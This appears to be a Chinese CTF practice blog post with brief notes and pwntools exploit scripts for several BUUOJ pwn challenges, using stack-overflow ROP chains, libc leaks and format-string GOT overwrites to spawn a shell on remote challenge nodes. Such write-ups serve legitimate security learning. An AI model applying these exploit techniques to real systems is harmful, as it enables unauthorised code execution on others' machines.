buu查漏补缺刷题（1）

由于最近要学fsop只能刷点简单的，但又可以让自己学到新东西的题目了，就当查漏补缺的刷题吧，不过不会持续太长，最多4-5天，看能不能把1分题刷的差不多试试

[HarekazeCTF2019]baby_rop2

典型的栈溢出，直接用printf函数打印libc函数的值，在rop给shell  再用find / -name flag找到flag文件即可

from pwn import *

#p=process('./babyrop2')
p=remote('node3.buuoj.cn',27041)
elf=ELF('./babyrop2')
libc=ELF('../libc-2.23.so')
p.recvuntil('name? ')

pop_rdi=0x400733
pop_rsi_r15=0x400731


p.sendline(b'p'*0x20+b'p'*0x8+p64(pop_rdi)+p64(0x400790)+p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)+p64(elf.plt['printf'])+p64(0x400636))

#gdb.attach(p)
libc.address=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))-libc.symbols['read']

bin_sh=next(libc.search(b'/bin/sh'))
print(hex(bin_sh))
#gdb.attach(p)
p.recvuntil('name? ')
payload=b'p'*0x20+b'p'*0x8+p64(pop_rdi)+p64(bin_sh)+p64(libc.symbols['system'])+p64(0x400636)
p.sendline(payload)

p.interactive()

[BJDCTF 2nd]r2t4

这是一道比较简单的格式化字符串题

看了一个师傅的博客，程序出现栈溢出时，会去执行__stack_chk_fail函数，所以我们hook这个函数即可

from pwn import *

#p=process('./r2t4')
#p=gdb.debug('./r2t4','b printf')
p=remote('node3.buuoj.cn',25388)
elf=ELF('./r2t4')
libc=ELF('../libc-2.29.so')
stack_chk_fail=elf.got['__stack_chk_fail']
print(hex(elf.got['__stack_chk_fail']))
backdoor=0x400626

payload=b'%'+bytes(str(backdoor>>16),'utf-8')+b'c%9$hn'+b'%'+bytes(str((backdoor&0xffff)-(backdoor>>16)),'utf-8')+b'c%10$hnAAA' + p64(stack_chk_fail+2) + p64(stack_chk_fail)
print(backdoor&0xffff-backdoor>>16)
print(backdoor&0xffff)
print(backdoor>>16)
p.sendline(payload)
p.interactive()

jarvisoj_fm

格式化字符串，直接修改x的值为4就可以getshell了，以前写过一样的

from pwn import *
#offset 11
#p=process('./fm')
p=remote('node3.buuoj.cn',28699)
x=0x804a02c
payload=b'%4c%14$hhnpp'+p64(x)
p.sendline(payload)
p.interactive()

jarvisoj_tell_me_something

入门题，栈溢出

from pwn import *

p=remote('node3.buuoj.cn',28756)
p.recvuntil('message:')
payload=b'p'*0x88+p64(0x400620)
p.sendline(payload)
p.interactive()

jarvisoj_level4

rop栈溢出，先用write leak libc，在去getshell即可

#!/usr/bin/env python
from pwn import *
p=remote("node3.buuoj.cn",29337)
libc=ELF('../libc-2.23_32.so')
elf=ELF("./level4")
func=0x804844B

payload=b'p'*0x88+b'pppp'+p32(elf.plt["write"])+p32(elf.symbols["main"])+p32(1)+p32(elf.got["read"])+p32(4)
p.sendline(payload)
libc.address=u32(p.recvuntil("xf7")[-4:])-libc.symbols['read']
system=libc.symbols['system']
bin_sh=next(libc.search(b'/bin/sh'))
print(hex(bin_sh))
payload=b'p'*0x88+b'pppp'+p32(system)+b'pppp'+p32(bin_sh)
p.sendline(payload)

p.interactive()

bjdctf_2020_babystack2

from pwn import *

r=remote('node3.buuoj.cn',26450)
backdoor_addr=0x400726

r.recvuntil('[+]Please input the length of your name:')
r.sendline('-1')

payload=b'a'*0x10+b'b'*0x8
payload+=p64(backdoor_addr)
r.sendline(payload)

r.interactive()

jarvisoj_level3_x64

from pwn import*
r=remote('node3.buuoj.cn',26263)
libc=ELF('../libc-2.23.so')
elf=ELF('./level3_x64')
context.log_level = 'debug'
context.arch = elf.arch
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1
pd1=b'a'*0x88
pd1+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got['write'])+b'a'*8
pd1+=p64(elf.sym['write'])+p64(elf.sym['main'])
r.recvuntil('Input:
')
r.send(pd1)
true=u64(r.recv(8))
base=true-0xf72b0
system=base+0x45390
binsh=base+0x18cd57
pd2=b'a'*0x88+p64(pop_rdi)+p64(binsh)+p64(system)
r.send(pd2)
r.interactive()